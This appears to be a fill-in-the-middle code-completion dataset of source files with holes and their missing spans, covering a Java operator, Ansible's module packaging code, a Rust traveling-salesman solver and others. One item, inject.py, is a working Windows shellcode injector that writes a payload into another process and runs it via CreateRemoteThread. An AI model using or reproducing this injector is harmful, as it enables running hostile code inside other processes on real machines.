prompt
large_stringlengths
70
991k
completion
large_stringlengths
0
1.02k
<|file_name|>EqualsOperator.java<|end_file_name|><|fim▁begin|>package br.net.ubre.lang.keyword.binary.relational; import br.net.ubre.data.container.DataContainer; import br.net.ubre.lang.data.literal.FalseStatement; import br.net.ubre.lang.data.literal.TrueStatement; import br.net.ubre.lang.statement.Statement; /** * COmpara se os valores das partes (esquerda e direita) são iguais. * * @author Douglas Siviotti (073.116.317-69) * @version 24/03/2015 * */ public class EqualsOperator extends RelationalKeyword { public EqualsOperator(String token) { super(token); } public Statement perform(DataContainer container) { Object leftResult = left.result(container); Object rightResult = right.result(container); if (leftResult != null) { return (leftResult.equals(rightResult)) ? TrueStatement.INSTANCE : FalseStatement.INSTANCE; } return (rightResult == null) ? TrueStatement.INSTANCE : FalseStatement.INSTANCE; }<|fim▁hole|>}<|fim▁end|>
<|file_name|>module_common.py<|end_file_name|><|fim▁begin|># (c) 2013-2014, Michael DeHaan <[email protected]> # (c) 2015 Toshio Kuratomi <[email protected]> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # Make coding more python3-ish from __future__ import (absolute_import, division, print_function) __metaclass__ = type import ast import base64 import imp import json import os import shlex import zipfile from io import BytesIO # from Ansible from ansible.release import __version__, __author__ from ansible import constants as C from ansible.errors import AnsibleError from ansible.utils.unicode import to_bytes, to_unicode # Must import strategy and use write_locks from there # If we import write_locks directly then we end up binding a # variable to the object and then it never gets updated. from ansible.plugins import strategy try: from __main__ import display except ImportError: from ansible.utils.display import Display display = Display() REPLACER = b"#<<INCLUDE_ANSIBLE_MODULE_COMMON>>" REPLACER_VERSION = b"\"<<ANSIBLE_VERSION>>\"" REPLACER_COMPLEX = b"\"<<INCLUDE_ANSIBLE_MODULE_COMPLEX_ARGS>>\"" REPLACER_WINDOWS = b"# POWERSHELL_COMMON" REPLACER_JSONARGS = b"<<INCLUDE_ANSIBLE_MODULE_JSON_ARGS>>" REPLACER_SELINUX = b"<<SELINUX_SPECIAL_FILESYSTEMS>>" # We could end up writing out parameters with unicode characters so we need to # specify an encoding for the python source file ENCODING_STRING = u'# -*- coding: utf-8 -*-' # we've moved the module_common relative to the snippets, so fix the path _SNIPPET_PATH = os.path.join(os.path.dirname(__file__), '..', 'module_utils') # ****************************************************************************** ZIPLOADER_TEMPLATE = u'''%(shebang)s %(coding)s ZIPLOADER_WRAPPER = True # For test-module script to tell this is a ZIPLOADER_WRAPPER # This code is part of Ansible, but is an independent component. # The code in this particular templatable string, and this templatable string # only, is BSD licensed. Modules which end up using this snippet, which is # dynamically combined together by Ansible still belong to the author of the # module, and they may assign their own license to the complete work. # # Copyright (c), James Cammarata, 2016 # Copyright (c), Toshio Kuratomi, 2016 # # Redistribution and use in source and binary forms, with or without modification, # are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. # IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE # USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import os import sys import base64 import shutil import zipfile import tempfile import subprocess if sys.version_info < (3,): bytes = str PY3 = False else: unicode = str PY3 = True try: # Python-2.6+ from io import BytesIO as IOStream except ImportError: # Python < 2.6 from StringIO import StringIO as IOStream ZIPDATA = """%(zipdata)s""" def invoke_module(module, modlib_path, json_params): pythonpath = os.environ.get('PYTHONPATH') if pythonpath: os.environ['PYTHONPATH'] = ':'.join((modlib_path, pythonpath)) else: os.environ['PYTHONPATH'] = modlib_path p = subprocess.Popen([%(interpreter)s, module], env=os.environ, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) (stdout, stderr) = p.communicate(json_params) if not isinstance(stderr, (bytes, unicode)): stderr = stderr.read() if not isinstance(stdout, (bytes, unicode)): stdout = stdout.read() if PY3: sys.stderr.buffer.write(stderr) sys.stdout.buffer.write(stdout) else: sys.stderr.write(stderr) sys.stdout.write(stdout) return p.returncode def debug(command, zipped_mod, json_params): # The code here normally doesn't run. It's only used for debugging on the # remote machine. # # The subcommands in this function make it easier to debug ziploader # modules. Here's the basic steps: # # Run ansible with the environment variable: ANSIBLE_KEEP_REMOTE_FILES=1 and -vvv # to save the module file remotely:: # $ ANSIBLE_KEEP_REMOTE_FILES=1 ansible host1 -m ping -a 'data=october' -vvv # # Part of the verbose output will tell you where on the remote machine the # module was written to:: # [...] # <host1> SSH: EXEC ssh -C -q -o ControlMaster=auto -o ControlPersist=60s -o KbdInteractiveAuthentication=no -o # PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey -o PasswordAuthentication=no -o ConnectTimeout=10 -o # ControlPath=/home/badger/.ansible/cp/ansible-ssh-%%h-%%p-%%r -tt rhel7 '/bin/sh -c '"'"'LANG=en_US.UTF-8 LC_ALL=en_US.UTF-8 # LC_MESSAGES=en_US.UTF-8 /usr/bin/python /home/badger/.ansible/tmp/ansible-tmp-1461173013.93-9076457629738/ping'"'"'' # [...] # # Login to the remote machine and run the module file via from the previous # step with the explode subcommand to extract the module payload into # source files:: # $ ssh host1 # $ /usr/bin/python /home/badger/.ansible/tmp/ansible-tmp-1461173013.93-9076457629738/ping explode # Module expanded into: # /home/badger/.ansible/tmp/ansible-tmp-1461173408.08-279692652635227/ansible # # You can now edit the source files to instrument the code or experiment with # different parameter values. When you're ready to run the code you've modified # (instead of the code from the actual zipped module), use the execute subcommand like this:: # $ /usr/bin/python /home/badger/.ansible/tmp/ansible-tmp-1461173013.93-9076457629738/ping execute # Okay to use __file__ here because we're running from a kept file basedir = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'debug_dir') args_path = os.path.join(basedir, 'args') script_path = os.path.join(basedir, 'ansible_module_%(ansible_module)s.py') if command == 'explode': # transform the ZIPDATA into an exploded directory of code and then # print the path to the code. This is an easy way for people to look # at the code on the remote machine for debugging it in that # environment z = zipfile.ZipFile(zipped_mod) for filename in z.namelist(): if filename.startswith('/'): raise Exception('Something wrong with this module zip file: should not contain absolute paths') dest_filename = os.path.join(basedir, filename) if dest_filename.endswith(os.path.sep) and not os.path.exists(dest_filename): os.makedirs(dest_filename) else: directory = os.path.dirname(dest_filename) if not os.path.exists(directory): os.makedirs(directory) f = open(dest_filename, 'w') f.write(z.read(filename)) f.close() # write the args file f = open(args_path, 'w') f.write(json_params) f.close() print('Module expanded into:') print('%%s' %% basedir) exitcode = 0 elif command == 'execute': # Execute the exploded code instead of executing the module from the # embedded ZIPDATA. This allows people to easily run their modified # code on the remote machine to see how changes will affect it. # This differs slightly from default Ansible execution of Python modules # as it passes the arguments to the module via a file instead of stdin. # Set pythonpath to the debug dir pythonpath = os.environ.get('PYTHONPATH') if pythonpath: os.environ['PYTHONPATH'] = ':'.join((basedir, pythonpath)) else: os.environ['PYTHONPATH'] = basedir p = subprocess.Popen([%(interpreter)s, script_path, args_path], env=os.environ, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) (stdout, stderr) = p.communicate() if not isinstance(stderr, (bytes, unicode)): stderr = stderr.read() if not isinstance(stdout, (bytes, unicode)): stdout = stdout.read() if PY3: sys.stderr.buffer.write(stderr) sys.stdout.buffer.write(stdout) else: sys.stderr.write(stderr) sys.stdout.write(stdout) return p.returncode elif command == 'excommunicate': # This attempts to run the module in-process (by importing a main # function and then calling it). It is not the way ansible generally # invokes the module so it won't work in every case. It is here to # aid certain debuggers which work better when the code doesn't change # from one process to another but there may be problems that occur # when using this that are only artifacts of how we're invoking here, # not actual bugs (as they don't affect the real way that we invoke # ansible modules) # stub the args and python path sys.argv = ['%(ansible_module)s', args_path] sys.path.insert(0, basedir) from ansible_module_%(ansible_module)s import main main() print('WARNING: Module returned to wrapper instead of exiting') sys.exit(1) else: print('WARNING: Unknown debug command. Doing nothing.') exitcode = 0 return exitcode if __name__ == '__main__': # # See comments in the debug() method for information on debugging # ZIPLOADER_PARAMS = %(params)s if PY3: ZIPLOADER_PARAMS = ZIPLOADER_PARAMS.encode('utf-8') try: # There's a race condition with the controller removing the # remote_tmpdir and this module executing under async. So we cannot # store this in remote_tmpdir (use system tempdir instead) temp_path = tempfile.mkdtemp(prefix='ansible_') zipped_mod = os.path.join(temp_path, 'ansible_modlib.zip') modlib = open(zipped_mod, 'wb') modlib.write(base64.b64decode(ZIPDATA)) modlib.close() if len(sys.argv) == 2: exitcode = debug(sys.argv[1], zipped_mod, ZIPLOADER_PARAMS) else: z = zipfile.ZipFile(zipped_mod) module = os.path.join(temp_path, 'ansible_module_%(ansible_module)s.py') f = open(module, 'wb') f.write(z.read('ansible_module_%(ansible_module)s.py')) f.close() exitcode = invoke_module(module, zipped_mod, ZIPLOADER_PARAMS) finally: try: shutil.rmtree(temp_path) except OSError: # tempdir creation probably failed pass sys.exit(exitcode) ''' def _strip_comments(source): # Strip comments and blank lines from the wrapper buf = [] for line in source.splitlines(): l = line.strip() if not l or l.startswith(u'#'): continue buf.append(line) return u'\n'.join(buf) if C.DEFAULT_KEEP_REMOTE_FILES: # Keep comments when KEEP_REMOTE_FILES is set. That way users will see # the comments with some nice usage instructions ACTIVE_ZIPLOADER_TEMPLATE = ZIPLOADER_TEMPLATE else: # ZIPLOADER_TEMPLATE stripped of comments for smaller over the wire size ACTIVE_ZIPLOADER_TEMPLATE = _strip_comments(ZIPLOADER_TEMPLATE) class ModuleDepFinder(ast.NodeVisitor): # Caveats: # This code currently does not handle: # * relative imports from py2.6+ from . import urls IMPORT_PREFIX_SIZE = len('ansible.module_utils.') def __init__(self, *args, **kwargs): """ Walk the ast tree for the python module. Save submodule[.submoduleN][.identifier] into self.submodules self.submodules will end up with tuples like: - ('basic',) - ('urls', 'fetch_url') - ('database', 'postgres') - ('database', 'postgres', 'quote') It's up to calling code to determine whether the final element of the dotted strings are module names or something else (function, class, or variable names) """ super(ModuleDepFinder, self).__init__(*args, **kwargs) self.submodules = set() def visit_Import(self, node): # import ansible.module_utils.MODLIB[.MODLIBn] [as asname] for alias in (a for a in node.names if a.name.startswith('ansible.module_utils.')): py_mod = alias.name[self.IMPORT_PREFIX_SIZE:] self.submodules.add((py_mod,)) self.generic_visit(node) def visit_ImportFrom(self, node): if node.module.startswith('ansible.module_utils'): where_from = node.module[self.IMPORT_PREFIX_SIZE:] if where_from: # from ansible.module_utils.MODULE1[.MODULEn] import IDENTIFIER [as asname] # from ansible.module_utils.MODULE1[.MODULEn] import MODULEn+1 [as asname] # from ansible.module_utils.MODULE1[.MODULEn] import MODULEn+1 [,IDENTIFIER] [as asname] py_mod = tuple(where_from.split('.')) for alias in node.names: self.submodules.add(py_mod + (alias.name,)) else: # from ansible.module_utils import MODLIB [,MODLIB2] [as asname] for alias in node.names: self.submodules.add((alias.name,)) self.generic_visit(node) def _slurp(path): if not os.path.exists(path): raise AnsibleError("imported module support code does not exist at %s" % os.path.abspath(path)) fd = open(path, 'rb') data = fd.read() fd.close() return data def _get_shebang(interpreter, task_vars, args=tuple()): """ Note not stellar API: Returns None instead of always returning a shebang line. Doing it this way allows the caller to decide to use the shebang it read from the file rather than trust that we reformatted what they already have correctly. """ interpreter_config = u'ansible_%s_interpreter' % os.path.basename(interpreter).strip() if interpreter_config not in task_vars: return (None, interpreter) interpreter = task_vars[interpreter_config].strip() shebang = u'#!' + interpreter if args: shebang = shebang + u' ' + u' '.join(args) return (shebang, interpreter) def recursive_finder(name, data, py_module_names, py_module_cache, zf): """ Using ModuleDepFinder, make sure we have all of the module_utils files that the module its module_utils files needs. """ # Parse the module and find the imports of ansible.module_utils tree = ast.parse(data) finder = ModuleDepFinder() finder.visit(tree) # # Determine what imports that we've found are modules (vs class, function. # variable names) for packages # normalized_modules = set() # Loop through the imports that we've found to normalize them # Exclude paths that match with paths we've already processed # (Have to exclude them a second time once the paths are processed) for py_module_name in finder.submodules.difference(py_module_names): module_info = None # Check whether either the last or the second to last identifier is # a module name for idx in (1, 2): if len(py_module_name) < idx: break try: module_info = imp.find_module(py_module_name[-idx], [os.path.join(_SNIPPET_PATH, *py_module_name[:-idx])]) break except ImportError: continue # Could not find the module. Construct a helpful error message. if module_info is None: msg = ['Could not find imported module support code for %s. Looked for' % name] if idx == 2: msg.append('either %s or %s' % (py_module_name[-1], py_module_name[-2])) else: msg.append(py_module_name[-1]) raise AnsibleError(' '.join(msg)) if idx == 2: # We've determined that the last portion was an identifier and # thus, not part of the module name py_module_name = py_module_name[:-1] # If not already processed then we've got work to do if py_module_name not in py_module_names: # If not in the cache, then read the file into the cache # We already have a file handle for the module open so it makes # sense to read it now if py_module_name not in py_module_cache: if module_info[2][2] == imp.PKG_DIRECTORY: # Read the __init__.py instead of the module file as this is # a python package py_module_cache[py_module_name + ('__init__',)] = _slurp(os.path.join(os.path.join(_SNIPPET_PATH, *py_module_name), '__init__.py')) normalized_modules.add(py_module_name + ('__init__',)) else: py_module_cache[py_module_name] = module_info[0].read() module_info[0].close() normalized_modules.add(py_module_name) # Make sure that all the packages that this module is a part of # are also added for i in range(1, len(py_module_name)): py_pkg_name = py_module_name[:-i] + ('__init__',) if py_pkg_name not in py_module_names: normalized_modules.add(py_pkg_name) py_module_cache[py_pkg_name] = _slurp('%s.py' % os.path.join(_SNIPPET_PATH, *py_pkg_name)) # # iterate through all of the ansible.module_utils* imports that we haven't # already checked for new imports # # set of modules that we haven't added to the zipfile unprocessed_py_module_names = normalized_modules.difference(py_module_names) for py_module_name in unprocessed_py_module_names: py_module_path = os.path.join(*py_module_name) py_module_file_name = '%s.py' % py_module_path zf.writestr(os.path.join("ansible/module_utils", py_module_file_name), py_module_cache[py_module_name]) # Add the names of the files we're scheduling to examine in the loop to # py_module_names so that we don't re-examine them in the next pass # through recursive_finder() py_module_names.update(unprocessed_py_module_names) for py_module_file in unprocessed_py_module_names: recursive_finder(py_module_file, py_module_cache[py_module_file], py_module_names, py_module_cache, zf) # Save memory; the file won't have to be read again for this ansible module. del py_module_cache[py_module_file] def _is_binary(module_data): textchars = bytearray(set([7, 8, 9, 10, 12, 13, 27]) | set(range(0x20, 0x100)) - set([0x7f])) start = module_data[:1024] return bool(start.translate(None, textchars)) def _find_snippet_imports(module_name, module_data, module_path, module_args, task_vars, module_compression): """ Given the source of the module, convert it to a Jinja2 template to insert module code and return whether it's a new or old style module. """ module_substyle = module_style = 'old' # module_style is something important to calling code (ActionBase). It # determines how arguments are formatted (json vs k=v) and whether # a separate arguments file needs to be sent over the wire. # module_substyle is extra information that's useful internally. It tells # us what we have to look to substitute in the module files and whether # we're using module replacer or ziploader to format the module itself. if _is_binary(module_data): module_substyle = module_style = 'binary' elif REPLACER in module_data: # Do REPLACER before from ansible.module_utils because we need make sure # we substitute "from ansible.module_utils basic" for REPLACER module_style = 'new' module_substyle = 'python' module_data = module_data.replace(REPLACER, b'from ansible.module_utils.basic import *') elif b'from ansible.module_utils.' in module_data: module_style = 'new' module_substyle = 'python' elif REPLACER_WINDOWS in module_data: module_style = 'new' module_substyle = 'powershell' elif REPLACER_JSONARGS in module_data: module_style = 'new' module_substyle = 'jsonargs' elif b'WANT_JSON' in module_data: module_substyle = module_style = 'non_native_want_json' shebang = None # Neither old-style, non_native_want_json nor binary modules should be modified # except for the shebang line (Done by modify_module) if module_style in ('old', 'non_native_want_json', 'binary'): return module_data, module_style, shebang output = BytesIO() py_module_names = set() if module_substyle == 'python': params = dict(ANSIBLE_MODULE_ARGS=module_args,) python_repred_params = to_bytes(repr(json.dumps(params)), errors='strict') try: compression_method = getattr(zipfile, module_compression) except AttributeError: display.warning(u'Bad module compression string specified: %s. Using ZIP_STORED (no compression)' % module_compression) compression_method = zipfile.ZIP_STORED lookup_path = os.path.join(C.DEFAULT_LOCAL_TMP, 'ziploader_cache') cached_module_filename = os.path.join(lookup_path, "%s-%s" % (module_name, module_compression)) zipdata = None # Optimization -- don't lock if the module has already been cached if os.path.exists(cached_module_filename): display.debug('ZIPLOADER: using cached module: %s' % cached_module_filename) zipdata = open(cached_module_filename, 'rb').read() # Fool the check later... I think we should just remove the check py_module_names.add(('basic',)) else: if module_name in strategy.action_write_locks: display.debug('ZIPLOADER: Using lock for %s' % module_name) lock = strategy.action_write_locks[module_name] else: # If the action plugin directly invokes the module (instead of # going through a strategy) then we don't have a cross-process # Lock specifically for this module. Use the "unexpected # module" lock instead display.debug('ZIPLOADER: Using generic lock for %s' % module_name) lock = strategy.action_write_locks[None] display.debug('ZIPLOADER: Acquiring lock') with lock: display.debug('ZIPLOADER: Lock acquired: %s' % id(lock)) # Check that no other process has created this while we were # waiting for the lock if not os.path.exists(cached_module_filename): display.debug('ZIPLOADER: Creating module')<|fim▁hole|> zf.writestr('ansible/__init__.py', b'from pkgutil import extend_path\n__path__=extend_path(__path__,__name__)\ntry:\n from ansible.release import __version__,__author__\nexcept ImportError:\n __version__="' + to_bytes(__version__) + b'"\n __author__="' + to_bytes(__author__) + b'"\n') zf.writestr('ansible/module_utils/__init__.py', b'from pkgutil import extend_path\n__path__=extend_path(__path__,__name__)\n') zf.writestr('ansible_module_%s.py' % module_name, module_data) py_module_cache = { ('__init__',): b'' } recursive_finder(module_name, module_data, py_module_names, py_module_cache, zf) zf.close() zipdata = base64.b64encode(zipoutput.getvalue()) # Write the assembled module to a temp file (write to temp # so that no one looking for the file reads a partially # written file) if not os.path.exists(lookup_path): # Note -- if we have a global function to setup, that would # be a better place to run this os.mkdir(lookup_path) display.debug('ZIPLOADER: Writing module') with open(cached_module_filename + '-part', 'w') as f: f.write(zipdata) # Rename the file into its final position in the cache so # future users of this module can read it off the # filesystem instead of constructing from scratch. display.debug('ZIPLOADER: Renaming module') os.rename(cached_module_filename + '-part', cached_module_filename) display.debug('ZIPLOADER: Done creating module') if zipdata is None: display.debug('ZIPLOADER: Reading module after lock') # Another process wrote the file while we were waiting for # the write lock. Go ahead and read the data from disk # instead of re-creating it. try: zipdata = open(cached_module_filename, 'rb').read() except IOError: raise AnsibleError('A different worker process failed to create module file. Look at traceback for that process for debugging information.') # Fool the check later... I think we should just remove the check py_module_names.add(('basic',)) shebang, interpreter = _get_shebang(u'/usr/bin/python', task_vars) if shebang is None: shebang = u'#!/usr/bin/python' executable = interpreter.split(u' ', 1) if len(executable) == 2 and executable[0].endswith(u'env'): # Handle /usr/bin/env python style interpreter settings interpreter = u"'{0}', '{1}'".format(*executable) else: # Still have to enclose the parts of the interpreter in quotes # because we're substituting it into the template as a python # string interpreter = u"'{0}'".format(interpreter) output.write(to_bytes(ACTIVE_ZIPLOADER_TEMPLATE % dict( zipdata=zipdata, ansible_module=module_name, params=python_repred_params, shebang=shebang, interpreter=interpreter, coding=ENCODING_STRING, ))) module_data = output.getvalue() # Sanity check from 1.x days. Maybe too strict. Some custom python # modules that use ziploader may implement their own helpers and not # need basic.py. All the constants that we substituted into basic.py # for module_replacer are now available in other, better ways. if ('basic',) not in py_module_names: raise AnsibleError("missing required import in %s: Did not import ansible.module_utils.basic for boilerplate helper code" % module_path) elif module_substyle == 'powershell': # Module replacer for jsonargs and windows lines = module_data.split(b'\n') for line in lines: if REPLACER_WINDOWS in line: ps_data = _slurp(os.path.join(_SNIPPET_PATH, "powershell.ps1")) output.write(ps_data) py_module_names.add((b'powershell',)) continue output.write(line + b'\n') module_data = output.getvalue() module_args_json = to_bytes(json.dumps(module_args)) module_data = module_data.replace(REPLACER_JSONARGS, module_args_json) # Sanity check from 1.x days. This is currently useless as we only # get here if we are going to substitute powershell.ps1 into the # module anyway. Leaving it for when/if we add other powershell # module_utils files. if (b'powershell',) not in py_module_names: raise AnsibleError("missing required import in %s: # POWERSHELL_COMMON" % module_path) elif module_substyle == 'jsonargs': module_args_json = to_bytes(json.dumps(module_args)) # these strings could be included in a third-party module but # officially they were included in the 'basic' snippet for new-style # python modules (which has been replaced with something else in # ziploader) If we remove them from jsonargs-style module replacer # then we can remove them everywhere. python_repred_args = to_bytes(repr(module_args_json)) module_data = module_data.replace(REPLACER_VERSION, to_bytes(repr(__version__))) module_data = module_data.replace(REPLACER_COMPLEX, python_repred_args) module_data = module_data.replace(REPLACER_SELINUX, to_bytes(','.join(C.DEFAULT_SELINUX_SPECIAL_FS))) # The main event -- substitute the JSON args string into the module module_data = module_data.replace(REPLACER_JSONARGS, module_args_json) facility = b'syslog.' + to_bytes(task_vars.get('ansible_syslog_facility', C.DEFAULT_SYSLOG_FACILITY), errors='strict') module_data = module_data.replace(b'syslog.LOG_USER', facility) return (module_data, module_style, shebang) # ****************************************************************************** def modify_module(module_name, module_path, module_args, task_vars=dict(), module_compression='ZIP_STORED'): """ Used to insert chunks of code into modules before transfer rather than doing regular python imports. This allows for more efficient transfer in a non-bootstrapping scenario by not moving extra files over the wire and also takes care of embedding arguments in the transferred modules. This version is done in such a way that local imports can still be used in the module code, so IDEs don't have to be aware of what is going on. Example: from ansible.module_utils.basic import * ... will result in the insertion of basic.py into the module from the module_utils/ directory in the source tree. All modules are required to import at least basic, though there will also be other snippets. For powershell, there's equivalent conventions like this: # POWERSHELL_COMMON which results in the inclusion of the common code from powershell.ps1 """ with open(module_path, 'rb') as f: # read in the module source module_data = f.read() (module_data, module_style, shebang) = _find_snippet_imports(module_name, module_data, module_path, module_args, task_vars, module_compression) if module_style == 'binary': return (module_data, module_style, shebang) elif shebang is None: lines = module_data.split(b"\n", 1) if lines[0].startswith(b"#!"): shebang = lines[0].strip() args = shlex.split(str(shebang[2:])) interpreter = args[0] interpreter = to_bytes(interpreter) new_shebang = to_bytes(_get_shebang(interpreter, task_vars, args[1:])[0], errors='strict', nonstring='passthru') if new_shebang: lines[0] = shebang = new_shebang if os.path.basename(interpreter).startswith(b'python'): lines.insert(1, to_bytes(ENCODING_STRING)) else: # No shebang, assume a binary module? pass module_data = b"\n".join(lines) else: shebang = to_bytes(shebang, errors='strict') return (module_data, module_style, shebang)<|fim▁end|>
# Create the module zip data zipoutput = BytesIO() zf = zipfile.ZipFile(zipoutput, mode='w', compression=compression_method)
<|file_name|>inject.py<|end_file_name|><|fim▁begin|>#First parameter is path for binary file containing instructions to be injected #Second parameter is Process Identifier for process to be injected to import binascii import sys from ctypes import * if len(sys.argv) < 3: print("usage inject.py <shellcodefile.bin> <pid>") sys.exit(1) file = open(sys.argv[1],'rb') buff=file.read() file.close() print("buffer length = ") print(len(buff)) print("pid = "+sys.argv[2]) handle = windll.kernel32.OpenProcess(0x1f0fff,0, int(sys.argv[2])) if (handle == 0): print("handle == 0")<|fim▁hole|>addr = windll.kernel32.VirtualAllocEx(handle,0,len(buff),0x3000|0x1000,0x40) if(addr == 0): print("addr = = 0") sys.exit(1) bytes = c_ubyte() windll.kernel32.WriteProcessMemory(handle, addr , buff, len(buff), byref(bytes)) handle1=windll.kernel32.CreateRemoteThread(handle , 0x0, 0x0 , addr, 0x0,0x0 , 0x0) if(handle1 == 0): print("handle1 = = 0"); sys.exit(1) windll.kernel32.CloseHandle(handle)<|fim▁end|>
sys.exit(1)
<|file_name|>media-preview-test.js<|end_file_name|><|fim▁begin|>import { mediaPreview } from 'mtt-blog/helpers/media-preview';<|fim▁hole|>module('Unit | Helper | media preview'); // Replace this with your real tests. test('it works', function(assert) { let result = mediaPreview([42]); assert.ok(result); });<|fim▁end|>
import { module, test } from 'qunit';
<|file_name|>__init__.py<|end_file_name|><|fim▁begin|># Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import logging from cs.CsConfig import CsConfig<|fim▁hole|>logging.basicConfig(filename=config.get_logger(), level=config.get_level(), format=config.get_format())<|fim▁end|>
config = CsConfig()
<|file_name|>CXPassphraseBuilder.java<|end_file_name|><|fim▁begin|>package org.cohorte.utilities.security; /** * @author ogattaz * */ public class CXPassphraseBuilder { /** * @param aValue * @return * @throws InstantiationException * @throws CXPassphraseSchemeException */ public static IXPassphrase buildB64(final IXPassphrase aPassphrase) throws InstantiationException, CXPassphraseSchemeException { return new CXPassphraseB64(aPassphrase);<|fim▁hole|> * @param aValue * @return * @throws InstantiationException * @throws CXPassphraseSchemeException */ public static IXPassphrase buildB64(final String aValue) throws InstantiationException, CXPassphraseSchemeException { return new CXPassphraseB64(aValue); } /** * @param aValue * @return * @throws InstantiationException * @throws CXPassphraseSchemeException */ public static IXPassphrase buildB64OBFRDM(final String aValue) throws InstantiationException, CXPassphraseSchemeException { return new CXPassphraseB64(new CXPassphraseOBF(new CXPassphraseRDM( aValue))); } /** * @param aValue * @return * @throws InstantiationException * @throws CXPassphraseSchemeException */ public static IXPassphrase buildOBF(final IXPassphrase aPassphrase) throws InstantiationException, CXPassphraseSchemeException { return new CXPassphraseOBF(aPassphrase); } /** * @param aValue * @return * @throws InstantiationException * @throws CXPassphraseSchemeException */ public static IXPassphrase buildOBF(final String aValue) throws InstantiationException, CXPassphraseSchemeException { return new CXPassphraseOBF(aValue); } /** * @param aPassphrase * @return * @throws InstantiationException * @throws CXPassphraseSchemeException */ public static IXPassphrase buildRDM(final IXPassphrase aPassphrase) throws InstantiationException, CXPassphraseSchemeException { return new CXPassphraseRDM(aPassphrase); } /** * @param aValue * @return * @throws InstantiationException * @throws CXPassphraseSchemeException */ public static IXPassphrase buildRDM(final String aValue) throws InstantiationException, CXPassphraseSchemeException { return new CXPassphraseRDM(aValue); } }<|fim▁end|>
} /**
<|file_name|>traveling_salesman_problem.rs<|end_file_name|><|fim▁begin|>use graph::Graph; use adjacency_matrix::AdjacencyMatrix; pub fn traveling_salesman_problem(g: &Graph) -> Vec<usize> { if g.vertex_count == 0 { return vec![]; } let m = AdjacencyMatrix::from_graph(&g); optimize_tour(&construct_tour(&m), &m) } // construct_tour incrementally inserts the furthest vertex to create a tour. fn construct_tour(m: &AdjacencyMatrix) -> Vec<usize> { let mut tour = vec![0]; while tour.len() < m.size() { let (x, index) = furthest_vertex(&tour, m); tour.insert(index, x); } tour } // furthest_vertex returns the vertex furthest away from tour, and the position at which it should // be inserted in tour to add the smallest amount of distance. fn furthest_vertex(tour: &Vec<usize>, m: &AdjacencyMatrix) -> (usize, usize) { let (x, (index, _)) = (0..m.size()) .filter(|x| !tour.contains(x)) .map(|x| (x, smallest_insertion(x, tour, m))) .max_by_key(|&(_, (_, distance))| distance) .unwrap(); (x, index) } // smallest_insertion finds where x should be inserted in tour to add the smallest amount of // distance, and returns the resulting index and added distance. fn smallest_insertion(x: usize, tour: &Vec<usize>, m: &AdjacencyMatrix) -> (usize, u32) { (0..tour.len()) .map(|i| { let prev_vertex = if i == 0 { tour[tour.len() - 1] } else { tour[i - 1] }; let next_vertex = tour[i]; m[prev_vertex][x] + m[x][next_vertex] }) .enumerate() .min_by_key(|&(_, distance)| distance) .unwrap() } // optimize_tour returns a new tour improved with 2-opt optimization. fn optimize_tour(tour: &Vec<usize>, m: &AdjacencyMatrix) -> Vec<usize> { let mut optimized_tour = tour.to_vec(); while let Some(swapped_tour) = find_optimized_tour(&optimized_tour, m) { optimized_tour = swapped_tour } optimized_tour } // find_optimized_tour tries to return a new tour obtained by swapping two vertices of tour and that // has a smaller distance than tour. fn find_optimized_tour(tour: &Vec<usize>, m: &AdjacencyMatrix) -> Option<Vec<usize>> { for i in 0..tour.len()-1 { for j in i+1..tour.len() { let new_tour = swap_tour(&tour, i, j); if m.distance(&new_tour) < m.distance(&tour) { return Some(new_tour); } } }<|fim▁hole|> None } // swap_tour returns a new tour where the positions of the vertices at indexes i and j have been // swapped. fn swap_tour(tour: &Vec<usize>, i: usize, j: usize) -> Vec<usize> { let a = 0..i; let b = (i..j+1).rev(); let c = j+1..tour.len(); a.chain(b).chain(c).map(|index| tour[index]).collect() }<|fim▁end|>
